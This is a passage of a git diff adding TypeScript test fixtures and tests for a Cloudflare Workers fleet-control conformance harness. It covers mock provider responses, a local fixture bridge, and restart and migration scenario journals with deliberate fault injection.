interrupted: boolean }) { + const { f, journal: handle } = journal; + const proof = witness(f); + const actions: DirectReferenceAction[] = []; + let interruption = options.interrupted ? proof.interruption : null; + const control = () => ({ + binding: { + version: 1, + accountId: 'account', + fleetDatabaseId: 'fleet-uuid', + quotaDatabaseId: 'quota-uuid', + exportBucketName: f.prepared.names.exportBucket, + referenceModuleSetSha256: f.prepared.referenceModuleSetSha256, + accountWorkersDevSubdomain: 'attested-account', + }, + operations: [remoteOperation()], + records: (['a', 'b', 'recovery'] as const).map(remoteRecord), + interruption, + forceBefore: null, + forceAfter: null, + }); + const invocation: DirectInvocationClient = { + async invoke(action) { + actions.push(action); + const reservation = await handle.reserveInvocation( + JSON.stringify({ + contractVersion: 1, + configSha256: f.prepared.configSha256, + action, + }), + ); + await handle.settleInvocation(reservation); + const attempts = { provider: 0, maintenance: 0, application: 0 }; + if (handle.snapshot().scenario?.phase === 'migration') + throw new DirectInvocationError('reference-refused', attempts); + if (action.kind === 'control-read') + return { result: control(), attempts }; + if (action.kind === 'migration-page') + return { result: { done: true, items: migrationItems(f) }, attempts }; + if (action.kind === 'migration-start') + return { result: { status: 'pending' }, attempts }; + if (action.kind === 'migration-continue') { + if (!action.token) { + interruption = proof.interruption; + throw new DirectInvocationError('injected-response-loss', attempts); + } + return { + result: { + status: 'pending', + token: JSON.parse(proof.returnedTokenJson), + itemOrdinal: 0, + planCursor: 0, + }, + attempts, + }; + } + throw new Error(`unexpected fixture action ${action.kind}`); + }, + }; + return { actions, invocation, proof, control }; + } + + function seed( + phase: MutableScenario['phase'], + mutate: (state: MutableScenario) => void, + ): MutableScenario { + return scenarioWith((state) => { + state.phase = phase; + state.failure = null; + state.lastCall = null; + state.mutation = null; + state.operations = [ + { + slot: 'migration-next', + operationId: OPERATION_ID, + inputSha256: hash(OPERATION_INPUT), + tokenRevision: 1, + }, + ]; + state.records = (['a', 'b', 'recovery'] as const).map(remoteRecord); + state.proofs.restart = null; + state.proofs.force = null; + state.proofs.residual = null; + mutate(state); + }); + } + + const settledCall = (kind: string, outcome: string, ordinal: number) => ({ + ordinal, + action: { kind }, + outcome, + attempts: { provider: 0, maintenance: 0, application: 0 }, + migration: null, + }); + + const restartProof = ( + f: Journal['f'], + overrides: Record, + ) => { + const proof = witness(f); + return { + process: { ...PROCESS }, + resumedProcess: null, + lossOrdinal: 2, + operationId: OPERATION_ID, + witnessSha256: hash(proof.interruption), + claimSha256: hash(proof.claimJson), + successorSha256: hash(proof.returnedTokenJson), + itemsSha256: jsonHash(migrationItems(f)), + replayOrdinal: null, + ...overrides, + }; + }; + + const run = (journal: Journal, invocation: DirectInvocationClient) => + runDirectCredentialedScenario({ + prepared: journal.f.prepared, + journal: journal.journal, + invocation, + apiToken: 'inert', + }); + + const stored = (journal: Journal): DirectScenarioState => { + const state = journal.journal.snapshot().scenario; + if (!state) throw new Error('scenario state is missing'); + return state; + }; + + it('issues no second migration start and consumes the injection only at the interrupt', async () => { + const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); + await target.journal.recordScenario( + seed('migration-start', (state) => { + const call = settledCall('migration-start', 'returned', 3); + state.lastCall = call as MutableScenario['lastCall']; + state.mutation = call as MutableScenario['mutation']; + }) as DirectScenarioState, + ); + const { actions, invocation } = reference(target, { interrupted: false }); + expect(await run(target, invocation)).toEqual({ + status: 'restart-required', + }); + expect( + actions.filter((action) => action.kind === 'migration-start'), + ).toEqual([]); + expect( + actions.filter((action) => action.kind === 'migration-continue'), + ).toHaveLength(1); + const state = stored(target); + expect(state.phase).toBe('migration-restart'); + expect(state.proofs.restart?.process.pid).toBe(process.pid); + expect(state.proofs.restart?.replayOrdinal).toBeNull(); + }); + + it('keeps the frozen restart proof when the interrupt re-enters after its own persist', async () => { + const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); + const frozen = restartProof(target.f, {}); + await target.journal.recordScenario( + seed('migration-interrupt', (state) => { + const call = settledCall( + 'migration-continue', + 'injected-response-loss', + 2, + ); + state.lastCall = call as MutableScenario['lastCall']; + state.mutation = call as MutableScenario['mutation']; + state.proofs.restart = frozen as MutableScenario['proofs']['restart']; + }) as DirectScenarioState, + ); + const { actions, invocation } = reference(target, { interrupted: true }); + expect(await run(target, invocation)).toEqual({ + status: 'restart-required', + }); + expect(actions.filter((action) => action.kind !== 'control-read')).toEqual( + [], + ); + const state = stored(target); + expect(state.phase).toBe('migration-restart'); + expect(JSON.stringify(state.proofs.restart)).toBe(JSON.stringify(frozen)); + }); + + it('keeps the frozen replay ordinal when the restart re-enters after its own persist', async () => { + const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); + const frozen = restartProof(target.f, { + resumedProcess: { ...RESUMED }, + replayOrdinal: 3, + }); + await target.journal.recordScenario( + seed('migration-restart', (state) => { + const call = settledCall('migration-continue', 'returned', 3); + state.lastCall = call as MutableScenario['lastCall']; + state.mutation = call as MutableScenario['mutation']; + state.proofs.restart = frozen as MutableScenario['proofs']['restart']; + }) as DirectScenarioState, + ); + const { actions, invocation } = reference(target, { interrupted: true }); + expect(await run(target, invocation)).toMatchObject({ + status: 'failed', + reason: 'reference-refused', + phase: 'migration', + }); + expect( + actions.filter((action) => action.kind === 'migration-continue'), + ).toEqual([]); + expect(JSON.stringify(stored(target).proofs.restart)).toBe( + JSON.stringify(frozen), + ); + }); +}); diff --git a/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts index 1497dee1..feaf8eff 100644 --- a/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts +++ b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts @@ -25,6 +25,10 @@ import { directDeploymentSpec, generateDirectDeploymentSecrets, } from '../scripts/direct-credentialed-spec.js'; +import { + DIRECT_TENANT_OBJECT_BODY, + DIRECT_TENANT_OBJECT_KEY, +} from '../scripts/direct-credentialed-tenant-object.mjs'; import { plainWorkerIngressModule } from '../src/plain-worker-backend.js'; import { deploymentSpecDigest } from '../src/spec-digest.js'; import { @@ -336,9 +340,9 @@ describe.sequential('direct tenant fixture in workerd', { role: 'a', operation: 'object-read', present: true, - size: Buffer.byteLength('direct-conformance-fixture-data'), + size: Buffer.byteLength(DIRECT_TENANT_OBJECT_BODY), sha256: createHash('sha256') - .update('direct-conformance-fixture-data') + .update(DIRECT_TENANT_OBJECT_BODY) .digest('hex'), }; expect(await reference.success(action('object-read'))).toEqual( @@ -382,7 +386,7 @@ describe.sequential('direct tenant fixture in workerd', { await server.update(options('1')); worker = server.getWorker(); await (await worker.getEnv()).PROBE_BUCKET.delete( - 'direct-conformance-fixture', + DIRECT_TENANT_OBJECT_KEY, ); })(), ]); @@ -403,10 +407,10 @@ describe.sequential('direct tenant fixture in workerd', { }) ).status, ).toBe(204); - const body = 'direct-conformance-fixture-data'; + const body = DIRECT_TENANT_OBJECT_BODY; const env = await worker.getEnv(); expect( - await (await env.PROBE_BUCKET.get('direct-conformance-fixture'))?.text(), + await (await env.PROBE_BUCKET.get(DIRECT_TENANT_OBJECT_KEY))?.text(), ).toBe(body); for (const migration of next.migrations.slice(initial.migrations.length)) await env.DB.batch( diff --git a/packages/fleet-control/test/fixtures/direct-observations.ts b/packages/fleet-control/test/fixtures/direct-observations.ts index 0e350046..32dbdf08 100644 --- a/packages/fleet-control/test/fixtures/direct-observations.ts +++ b/packages/fleet-control/test/fixtures/direct-observations.ts @@ -33,6 +33,11 @@ export async function directObservationFixture( | 'absent' | 'provider-pending' | 'no-control' = 'confirmed', + runtimeOptions: Readonly<{ + invocationTimeoutMs?: number; + maxProviderRequests?: number; + maxInvocations?: number; + }> = {}, ) { const directory = await mkdtemp(join(tmpdir(), 'direct-observations-')); const config = JSON.parse( @@ -60,6 +65,7 @@ export async function directObservationFixture( }; config.referenceWorker.requestTimeoutMs = timeout; config.referenceWorker.invocationTimeoutMs = 2000; + Object.assign(config.referenceWorker, runtimeOptions); const configPath = join(directory, 'config.json'); await Promise.all([ writeFile(configPath, JSON.stringify(config)), @@ -392,6 +398,7 @@ export async function directObservationFixture( requests, unexpected, directory, + configPath, settle, input: { prepared, diff --git a/packages/fleet-control/test/fixtures/direct-reference-harness.ts b/packages/fleet-control/test/fixtures/direct-reference-harness.ts index 7751d98d..fcf1d69e 100644 --- a/packages/fleet-control/test/fixtures/direct-reference-harness.ts +++ b/packages/fleet-control/test/fixtures/direct-reference-harness.ts @@ -10,7 +10,13 @@ import { fileURLToPath } from 'node:url'; import type { D1Database, R2Bucket } from '@cloudflare/workers-types'; import { expect } from 'vitest'; import { createTestHarness, type TestHarness } from 'wrangler'; +import type { DirectRunManifest } from '../../scripts/direct-credentialed-conformance-preflight.mjs'; import { directDeploymentSpec } from '../../scripts/direct-credentialed-spec.js'; +import { + DIRECT_TENANT_OBJECT_BODY, + DIRECT_TENANT_OBJECT_KEY, +} from '../../scripts/direct-credentialed-tenant-object.mjs'; +import type { DirectRunBinding } from '../../scripts/direct-reference-context.js'; import { DIRECT_REFERENCE_PATH, type DirectReferenceAction, @@ -31,6 +37,10 @@ import { maintenanceResponder, providerWorld } from './provider-world.js'; export async function createDirectReferenceHarness( policy: Readonly<{ maintenanceNow?: () => number; + manifest?: DirectRunManifest; + binding?: DirectRunBinding; + applicationProbes?: boolean; + nodeResponse?: (request: Request, response: Response) => Promise; applicationFetch?: (request: CloudflareFixtureRequest) => Promise; providerResponse?: ( request: CloudflareFixtureRequest, @@ -38,7 +48,7 @@ export async function createDirectReferenceHarness( ) => Promise; }> = {}, ) { - const manifest = directFixtureManifest(); + const manifest = policy.manifest ?? directFixtureManifest(); const roles = ['a', 'b', 'recovery'] as const; function fixtureSecrets(role: string): DeploymentSecrets { return { @@ -52,7 +62,7 @@ export async function createDirectReferenceHarness( b: fixtureSecrets('b'), recovery: fixtureSecrets('recovery'), }; - const binding = { + const binding = policy.binding ?? { version: 1, accountId: 'account', fleetDatabaseId: '00000000-0000-0000-0000-000000000011', @@ -80,11 +90,120 @@ export async function createDirectReferenceHarness( { name: string; jurisdiction: string; creation_date: string } >(); const rest = restProjection(world); + const versionRuntime = new Map(); + const activeVersion = (script: ReturnType) => + script?.versions.find((version) => + script.deployment?.some( + (entry) => + entry.versionId === version.versionId && entry.percentage === 100, + ), + ); async function providerRest( request: CloudflareFixtureRequest, ): Promise { try { - const response = await rest(request); + const url = new URL(request.url); + const scriptName = url.pathname + .split('/workers/scripts/')[1] + ?.split('/')[0]; + const script = scriptName ? world.scripts.get(scriptName) : undefined; + const metadata = + request.body && + typeof request.body === 'object' && + 'metadata' in request.body + ? (request.body.metadata as Record) + : undefined; + let response: Response; + if ( + request.method === 'GET' && + url.pathname.endsWith('/deployments/deployment') + ) { + response = single({ + id: 'deployment', + strategy: 'percentage', + versions: script?.deployment?.map(({ versionId, percentage }) => ({ + version_id: versionId, + percentage, + })), + }); + } else if ( + request.method === 'GET' && + url.pathname.endsWith('/settings') && + script?.present + ) { + const active = activeVersion(script); + const runtime = versionRuntime.get(active?.versionId ?? '') as + | Record + | undefined; + response = single({ + ...runtime, + bindings: active?.bindings.map((entry) => { + const value = entry as Record; + return value.type === 'secret_text' + ? { type: value.type, name: value.name } + : value; + }), + }); + } else if ( + request.method === 'POST' && + url.pathname === + `/client/v4/accounts/account/d1/database/${binding.fleetDatabaseId}/query` + ) { + const query = request.body as { sql: string; params: string[] }; + if ( + !query.sql.startsWith('SELECT ') || + (!query.sql.includes(' FROM direct_reference_observations WHERE ') && + !query.sql.includes(' FROM anchorage_fleet_deployments WHERE ')) + ) + throw new Error('unexpected Node D1 query'); + const result = await db + .prepare(query.sql) + .bind(...query.params) + .all(); + response = single([{ success: true, results: result.results }]); + } else if ( + request.method === 'GET' && + url.pathname.startsWith( + `/client/v4/accounts/account/r2/buckets/${binding.exportBucketName}/objects/`, + ) + ) { + const key = decodeURIComponent( + url.pathname.split('/objects/')[1] ?? '', + ); + const value = await exportBytes.get(key); + response = value + ? new Response(await value.arrayBuffer()) + : new Response(null, { status: 404 }); + } else { + response = await rest(request); + if (metadata && response.ok && scriptName) { + const current = world.scripts.get(scriptName); + for (const version of current?.versions ?? []) + if (!versionRuntime.has(version.versionId)) + versionRuntime.set(version.versionId, { + compatibility_date: metadata.compatibility_date, + compatibility_flags: metadata.compatibility_flags ?? [], + limits: metadata.limits, + }); + } + if ( + request.method === 'GET' && + /\/versions\/[^/]+$/u.test(url.pathname) && + response.ok + ) { + const value = (await response.json()) as { + result: { id: string; resources: Record }; + }; + const runtime = versionRuntime.get(value.result.id) as + | { limits?: { cpu_ms?: number } } + | undefined; + value.result.resources.script_runtime = { + ...runtime, + limits: { cpu_ms: runtime?.limits?.cpu_ms }, + }; + response = Response.json(value); + } + } return policy.providerResponse ? await policy.providerResponse(request, response) : response; @@ -109,6 +228,73 @@ export async function createDirectReferenceHarness( } const projection = recordingFetch(async (request) => { const url = new URL(request.url); + if ( + policy.applicationProbes && + specs.some((spec) => url.origin === `https://${spec.routeHostname}`) + ) { + const role = roles.find( + (role) => url.hostname === manifest.names.roles[role].routeHostname, + ); + if (!role) throw new Error('unknown fixture application role'); + if ( + request.headers.get('authorization') !== + `Bearer ${secrets[role].application?.APP_PROBE_TOKEN}` + ) + return new Response(null, { status: 401 }); + const record = await fleetStore.get( + manifest.names.roles[role].tenantTag, + manifest.environment, + ); + if (!record) throw new Error('missing fixture application record'); + const database = world.databases.find( + (database) => database.databaseId === record.databaseId, + ); + const active = activeVersion(world.scripts.get(record.scriptName)); + if (!database || !active) + throw new Error('missing active fixture application'); + const releaseBinding = active.bindings.find( + (binding) => + binding && + typeof binding === 'object' && + Reflect.get(binding, 'name') === 'APPLICATION_RELEASE', + ); + const release = + releaseBinding && typeof releaseBinding === 'object' + ? Reflect.get(releaseBinding, 'text') + : undefined; + if (url.pathname === '/__direct/health' && request.method === 'GET') { + const rows = database.d1.queryDatabase( + 'SELECT marker FROM direct_conformance_fixture WHERE id=1', + ); + return Response.json({ release, marker: rows[0]?.marker }); + } + const bucket = record.applicationResources?.find( + (resource) => resource.name === 'PROBE_BUCKET', + ); + if (!bucket || url.pathname !== '/__direct/object') + throw new Error('unknown fixture application route'); + const key = `${bucket.jurisdiction}:${bucket.bucketName}/${DIRECT_TENANT_OBJECT_KEY}`; + if (request.method === 'POST') { + await applicationBytes.put(key, DIRECT_TENANT_OBJECT_BODY); + return new Response(null, { status: 204 }); + } + if (request.method === 'DELETE') { + await applicationBytes.delete(key); + return new Response(null, { status: 204 }); + } + if (request.method !== 'GET') + throw new Error('unexpected fixture application method'); + const value = await applicationBytes.get(key); + return value + ? Response.json({ + present: true, + size: value.size, + sha256: createHash('sha256') + .update(Buffer.from(await value.arrayBuffer())) + .digest('hex'), + }) + : Response.json({ present: false }); + } if ( policy.applicationFetch && specs.some( @@ -163,6 +349,10 @@ export async function createDirectReferenceHarness( } if (url.origin !== 'https://api.cloudflare.com') throw new Error('unexpected fixture origin'); + if ( + url.pathname.includes(`/r2/buckets/${binding.exportBucketName}/objects/`) + ) + return providerRest(request); const match = url.pathname.match( /^\/client\/v4\/accounts\/account\/r2\/buckets(?:\/([^/]+)(\/objects)?)?$/u, ); @@ -267,6 +457,7 @@ export async function createDirectReferenceHarness( }); let reload: () => Promise; + let bridgeUrl: string; async function refreshBindings() { const env = await server .getWorker<{ @@ -314,7 +505,10 @@ export async function createDirectReferenceHarness( bridge = createServer(async (incoming, outgoing) => { try { const original = incoming.headers['x-direct-fixture-url']; - if (typeof original !== 'string' || incoming.url !== '/') + if ( + typeof original !== 'string' || + !['/', '/node'].includes(incoming.url ?? '') + ) throw new Error('invalid fixture bridge request'); const headers = new Headers(); for (const [name, values] of Object.entries(incoming.headers)) { @@ -343,12 +537,32 @@ export async function createDirectReferenceHarness( ? await request.formData() : await request.text() : undefined; - const response = await projection.fetch(original, { - method, - headers, - body, - redirect: 'manual', - }); + const referenceOrigin = `https://${manifest.names.referenceWorker}.${binding.accountWorkersDevSubdomain}.workers.dev`; + let response: Response; + if ( + incoming.url === '/node' && + original === `${referenceOrigin}${DIRECT_REFERENCE_PATH}` + ) { + response = await server.getWorker().fetch(original, { + method, + headers: [...headers], + body: body as string, + }); + } else { + if ( + incoming.url === '/node' && + new URL(original).origin !== 'https://api.cloudflare.com' + ) + throw new Error('unexpected Node fixture origin'); + response = await projection.fetch(original, { + method, + headers, + body, + redirect: 'manual', + }); + } + if (incoming.url === '/node' && policy.nodeResponse) + response = await policy.nodeResponse(request, response); outgoing.writeHead( response.status, Object.fromEntries(response.headers), @@ -366,6 +580,7 @@ export async function createDirectReferenceHarness( const address = bridge.address(); if (!address || typeof address === 'string') throw new Error('missing fixture listener'); + bridgeUrl = `http://127.0.0.1:${address.port}/node`; const main = join(directory, 'worker.ts'); const workerSource = fileURLToPath( new URL('../../scripts/direct-reference-worker.ts', import.meta.url), @@ -505,6 +720,20 @@ let instance; export default {async fetch(request,env){instance??=crypto.randomU buckets, bridgeErrors, sqlFailures, + bridgeUrl, + fetch: (async (input, init) => { + const request = new Request(input, init); + const headers = new Headers(request.headers); + headers.set('X-Direct-Fixture-Url', request.url); + return fetch(bridgeUrl, { + method: request.method, + headers, + body: request.body, + signal: request.signal, + redirect: 'manual', + duplex: 'half', + } as RequestInit); + }) as typeof fetch, call, success, journal, diff --git a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts new file mode 100644 index 00000000..2b23d863 --- /dev/null +++ b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts @@ -0,0 +1,531 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { preflightDirectConformance } from '../../scripts/direct-credentialed-conformance-preflight.mjs'; +import { + DIRECT_SCENARIO_OPERATION_SLOTS, + type DirectBootstrapContext, + type DirectBootstrapMutationReceipt, + type DirectRunJournal, + openDirectRunState, +} from '../../scripts/direct-credentialed-run-state.mjs'; +import type { DirectScenarioState } from '../../scripts/direct-credentialed-scenario.mjs'; +import { DIRECT_SCENARIO_PHASES } from '../../scripts/direct-credentialed-scenario-budget.mjs'; + +export const directories: string[] = []; +export const journals = new Set(); +export const hash = (value: string) => + createHash('sha256').update(value).digest('hex'); +export type Mutable = T extends readonly (infer Entry)[] + ? Mutable[] + : T extends object + ? { -readonly [Key in keyof T]: Mutable } + : T; +export type MutableScenario = Mutable; + +export function first(entries: readonly Entry[]): Entry { + const [entry] = entries; + if (entry === undefined) throw new Error('empty scenario fixture array'); + return entry; +} + +export function present(value: Value | null | undefined): Value { + if (value === null || value === undefined) + throw new Error('absent scenario fixture value'); + return value; +} + +export async function fixture(limit = 3) { + const directory = await mkdtemp(join(tmpdir(), 'direct-run-state-')); + directories.push(directory); + const config = JSON.parse( + await readFile( + new URL( + '../../scripts/direct-credentialed-conformance.example.json', + import.meta.url, + ), + 'utf8', + ), + ); + const reference = + "import manifest from './direct-run-manifest.js'; export default {fetch(){return Response.json(manifest.contractVersion)}};"; + const tenant = + 'export class Maintenance {} export class Runner {} export default {};'; + config.referenceWorker.artifact = { + bundle: './reference.mjs', + mainModule: 'worker.js', + sha256: hash(reference), + }; + config.referenceWorker.maxInvocations = limit; + config.deployment.artifact = { + bundle: './tenant.mjs', + mainModule: 'worker.js', + sha256: hash(tenant), + }; + const configPath = join(directory, 'config.json'); + await writeFile(configPath, JSON.stringify(config)); + await writeFile(join(directory, 'reference.mjs'), reference); + await writeFile(join(directory, 'tenant.mjs'), tenant); + const prepared = await preflightDirectConformance({ + configPath, + now: Date.parse('2026-09-10T12:00:00Z'), + }); + const base = join(directory, '.direct-conformance'); + const runDirectory = join(base, config.resourcePrefix); + const lockPath = join(base, `${config.resourcePrefix}.lock`); + const input = { configPath, prepared, accountId: 'account' }; + const request = (action: unknown = { kind: 'control-read' }) => + JSON.stringify({ + contractVersion: 1, + configSha256: prepared.configSha256, + action, + }); + return { + directory, + configPath, + prepared, + base, + runDirectory, + lockPath, + input, + request, + }; +} + +export async function opened(input: Parameters[0]) { + const journal = await openDirectRunState(input); + journals.add(journal); + return journal; +} + +export async function closed(journal: DirectRunJournal) { + await journal.close(); + journals.delete(journal); +} + +export async function cleanupDirectRunState() { + try { + await Promise.all([...journals].map((journal) => journal.close())); + } finally { + journals.clear(); + await Promise.all( + directories + .splice(0) + .map((directory) => rm(directory, { recursive: true, force: true })), + ); + } +} + +export function bootstrapContext( + f: Awaited>, +): DirectBootstrapContext { + return { + names: f.prepared.names, + zoneId: 'zone', + zoneName: 'example.test', + accountWorkersDevSubdomain: 'attested-account', + dispatch: { kind: 'empty', count: 0 }, + }; +} + +export function receipts(f: Awaited>) { + return [ + { + kind: 'create-fleet-d1', + receipt: { uuid: 'fleet-uuid', name: f.prepared.names.fleetDatabase }, + }, + { + kind: 'create-quota-d1', + receipt: { uuid: 'quota-uuid', name: f.prepared.names.quotaDatabase }, + }, + { + kind: 'create-export-r2', + receipt: { + name: f.prepared.names.exportBucket, + jurisdiction: 'default', + creationDate: '2026-09-10T00:00:00.000Z', + }, + }, + { + kind: 'upload-reference', + receipt: { + scriptName: f.prepared.names.referenceWorker, + tag: null, + etag: null, + }, + }, + { + kind: 'enable-reference-ingress', + receipt: { enabled: true, previewsEnabled: false }, + }, + ] as const satisfies readonly DirectBootstrapMutationReceipt[]; +} + +export async function confirmedBootstrap( + f: Awaited>, + journal: DirectRunJournal, +) { + await journal.bindBootstrapContext(bootstrapContext(f)); + for (const value of receipts(f)) { + if (value.kind === 'enable-reference-ingress') + await journal.recordBootstrapObservation({ + kind: 'active', + deploymentId: 'deployment', + versionId: 'version', + }); + await journal.beginBootstrapMutation(value.kind); + await journal.confirmBootstrapMutation(value); + } +} + +export const MAX_ID = 'z'.repeat(128); +export const DIGEST = 'a'.repeat(64); +export const LOCATION = `r2://${'p'.repeat(700)}`; +export const DATE = '2026-09-10T00:00:00.000Z'; +export const PROCESS = { pid: 1, startTicks: '1000', bootId: MAX_ID }; +export const RESUMED = { pid: 2, startTicks: '2000', bootId: MAX_ID }; + +export function workerVersion( + role: 'a' | 'b' | 'recovery', + applicationRelease: '1' | '2', + trafficPercentage: number, +) { + return { + role, + versionId: MAX_ID, + databaseId: MAX_ID, + specDigest: DIGEST, + applicationRelease, + accountId: MAX_ID, + tenantTag: MAX_ID, + environment: MAX_ID, + scriptName: MAX_ID, + currentDeployment: { + deploymentId: MAX_ID, + activeVersionId: MAX_ID, + versions: [ + { versionId: MAX_ID, percentage: 100 }, + { versionId: MAX_ID, percentage: 0 }, + ], + }, + trafficPercentage, + cpuLimitMs: 50, + subrequestLimit: 50, + schemaVersion: 2, + namespaces: [ + { + binding: 'MAINTENANCE' as const, + className: 'Maintenance' as const, + namespaceId: MAX_ID, + }, + { + binding: 'RUNNER' as const, + className: 'Runner' as const, + namespaceId: MAX_ID, + }, + ], + bucket: { + name: MAX_ID, + jurisdiction: 'default' as const, + creationDate: DATE, + }, + }; +} + +export function exportProof(role: 'a' | 'b') { + return { + verified: true as const, + role, + receipt: { + version: 1 as const, + authority: LOCATION, + databaseId: MAX_ID, + operationId: MAX_ID, + }, + location: LOCATION, + size: 1, + sha256: DIGEST, + sourceInvocationOrdinal: 1, + }; +} + +export function footprint() { + return { + version: 1 as const, + role: 'recovery' as const, + beforeIdentitySha256: DIGEST, + fleetRecordPresent: false as const, + deploymentClaimsPresent: false as const, + database: { id: MAX_ID, expectedName: MAX_ID, observedName: null }, + worker: { + scriptName: MAX_ID, + scriptPresent: true, + workersDevEnabled: false as const, + previewUrlsEnabled: false as const, + customDomains: [], + zoneRoutes: [], + currentSecretNames: [], + currentVersionIds: Array.from({ length: 8 }, () => MAX_ID), + currentNamespaceIds: [MAX_ID, MAX_ID], + survivingRecordedNamespaceIds: [MAX_ID, MAX_ID], + }, + buckets: [ + { + bindingName: 'PROBE_BUCKET' as const, + bucketName: MAX_ID, + jurisdiction: 'default' as const, + expectedCreationDate: DATE, + observedCreationDate: DATE, + }, + ], + priorCleanup: { + operationId: MAX_ID, + observedReceiptSha256: DIGEST, + matchesBefore: true as const, + }, + }; +} + +export function inventoryProof() { + return { + operationId: MAX_ID, + generation: 1, + calls: 2, + databaseIds: [MAX_ID, MAX_ID], + namespaceIds: Array.from({ length: 4 }, () => MAX_ID), + scriptNames: [MAX_ID, MAX_ID], + bucketNames: [MAX_ID, MAX_ID], + findings: Array.from({ length: 32 }, () => ({ + kind: MAX_ID, + detailSha256: DIGEST, + })), + }; +} + +export function auditProof() { + return { + operationId: MAX_ID, + generation: 1, + recordCount: 2 as const, + findingCount: 16, + finalizedAtMs: 1, + findings: Array.from({ length: 16 }, () => ({ + tenantTag: MAX_ID, + environment: MAX_ID, + kind: MAX_ID, + detailSha256: DIGEST, + })), + }; +} + +export function maximalScenario(): MutableScenario { + const phaseCalls = Object.fromEntries( + DIRECT_SCENARIO_PHASES.map((phase) => [phase, 0]), + ) as MutableScenario['phaseCalls']; + phaseCalls['provision-a'] = 3; + const call = { + ordinal: 3, + action: { + kind: 'audit-page' as const, + slot: 'audit-after' as const, + limit: 32, + afterOrdinal: 1, + }, + outcome: 'returned' as const, + attempts: { provider: 1, maintenance: 1, application: 1 }, + migration: { + itemOrdinal: 0 as const, + cursor: 0, + step: MAX_ID, + itemsSha256: DIGEST, + }, + }; + return { + version: 1, + phase: 'provision-a', + startedOrdinal: 0, + callCount: 3, + phaseCalls, + attempts: { provider: 1, maintenance: 1, application: 1 }, + sdkRequests: 4, + inventoryCalls: { before: 2, after: 2 }, + lastCall: call, + mutation: call, + reconciledOrdinal: 3, + operations: DIRECT_SCENARIO_OPERATION_SLOTS.map((slot) => ({ + slot, + operationId: MAX_ID, + inputSha256: DIGEST, + tokenRevision: 3, + })), + records: (['a', 'b', 'recovery'] as const).map((role) => ({ + role, + present: true, + phase: MAX_ID, + desiredSpecDigest: DIGEST, + pendingSpecDigest: DIGEST, + artifactVersion: MAX_ID, + pendingArtifactVersion: MAX_ID, + databaseId: MAX_ID, + })), + failure: { code: 'observation-mismatch', ordinal: 3 }, + proofs: { + initial: { + a: workerVersion('a', '1', 100), + b: workerVersion('b', '1', 100), + recovery: workerVersion('recovery', '1', 100), + }, + candidate: { + a: workerVersion('a', '2', 0), + b: workerVersion('b', '2', 0), + }, + final: { + a: workerVersion('a', '2', 100), + b: workerVersion('b', '2', 100), + }, + objects: { + a: { size: 31, sha256: DIGEST }, + b: { size: 31, sha256: DIGEST }, + }, + objectDeletions: { a: 1, b: 1 }, + recoveryExportAbsent: { beforeOrdinal: 1, afterOrdinal: 2 }, + health: [ + { + role: 'a' as const, + release: '1' as const, + marker: 'initial' as const, + ordinal: 1, + }, + { + role: 'b' as const, + release: '1' as const, + marker: 'initial' as const, + ordinal: 1, + }, + { + role: 'recovery' as const, + release: '1' as const, + marker: 'initial' as const, + ordinal: 1, + }, + { + role: 'a' as const, + release: '2' as const, + marker: 'next' as const, + ordinal: 1, + }, + { + role: 'b' as const, + release: '2' as const, + marker: 'next' as const, + ordinal: 1, + }, + ], + inventories: { before: inventoryProof(), after: inventoryProof() }, + audits: { before: auditProof(), after: auditProof() }, + restart: { + process: { ...PROCESS }, + resumedProcess: { ...RESUMED }, + lossOrdinal: 1, + operationId: MAX_ID, + witnessSha256: DIGEST, + claimSha256: DIGEST, + successorSha256: DIGEST, + itemsSha256: DIGEST, + replayOrdinal: 2, + }, + steps: Array.from({ length: 64 }, (_entry, index) => ({ + ordinal: 1, + itemOrdinal: (index % 2) as 0 | 1, + step: MAX_ID, + beforeCursor: 0, + afterCursor: 1, + provider: 1, + maintenance: 1, + application: 1, + })), + effects: (['a', 'b'] as const).map((role) => ({ + role, + tenantTag: MAX_ID, + environment: MAX_ID, + scriptName: MAX_ID, + databaseId: MAX_ID, + versionId: MAX_ID, + specDigest: DIGEST, + schemaVersion: 2, + settlementKey: DIGEST, + identitySha256: DIGEST, + provenanceSha256: DIGEST, + })), + cleanup: { + version: 1 as const, + operationId: MAX_ID, + tenantTag: MAX_ID, + environment: MAX_ID, + backend: 'plain-worker' as const, + scriptName: MAX_ID, + databaseId: MAX_ID, + databaseName: MAX_ID, + authority: 'provisioning-rollback' as const, + admittedPhase: MAX_ID, + disposition: 'reservation-cleared' as const, + evidence: { + eligibility: 'reservation-only' as const, + ingressRemoved: true, + workerAbsent: true, + platformResourcesAbsent: true, + applicationR2Settled: true, + databaseAbsentReadback: true, + scan: { + discover: { evidenceSha256: DIGEST, evidenceCount: 1 }, + verify: { evidenceSha256: DIGEST, evidenceCount: 1 }, + }, + }, + completedAtMs: 1, + }, + exports: { a: exportProof('a'), b: exportProof('b') }, + exportVerifications: Array.from({ length: 16 }, () => exportProof('a')), + decommission: { + a: { + operationId: MAX_ID, + databaseId: MAX_ID, + scriptName: MAX_ID, + phase: 'decommissioned' as const, + }, + b: { + operationId: MAX_ID, + databaseId: MAX_ID, + scriptName: MAX_ID, + phase: 'decommissioned' as const, + }, + }, + force: footprint(), + residual: footprint(), + }, + } as MutableScenario; +} + +export function scenarioWith( + mutate: (state: MutableScenario) => unknown, +): MutableScenario { + const state = maximalScenario(); + mutate(state); + return state; +} + +export async function scenarioJournal(limit = 8) { + const f = await fixture(limit); + const journal = await opened({ ...f.input, mode: 'run' }); + await confirmedBootstrap(f, journal); + let ordinal = 0; + for (let index = 0; index < 3; index++) { + const reservation = await journal.reserveInvocation(f.request()); + await journal.settleInvocation(reservation); + ordinal = reservation.ordinal; + } + await journal.recordBootstrapObservation({ kind: 'control-read', ordinal }); + return { f, journal }; +} From 